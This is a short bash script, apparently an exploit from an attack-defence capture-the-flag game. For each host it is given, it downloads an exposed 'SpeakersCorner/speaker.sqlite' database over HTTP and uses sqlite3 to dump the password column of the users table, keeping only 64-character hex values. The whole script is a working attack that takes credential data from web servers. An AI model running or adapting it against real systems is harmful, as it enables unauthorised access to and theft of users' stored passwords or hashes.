#!/bin/bash

if test -z "${1}"; then
    echo "Usage: ${0} <host>"
    exit
fi

file=$(tempfile)
while test -n "${1}"; do
    host=$1
    if wget --quiet -O ${file} "http://${host}/SpeakersCorner/speaker.sqlite"; then
        sqlite3 ${file} 'select password from users'|grep -E '[A-F0-9]{64}'
    fi
    shift
done
rm -f ${file}
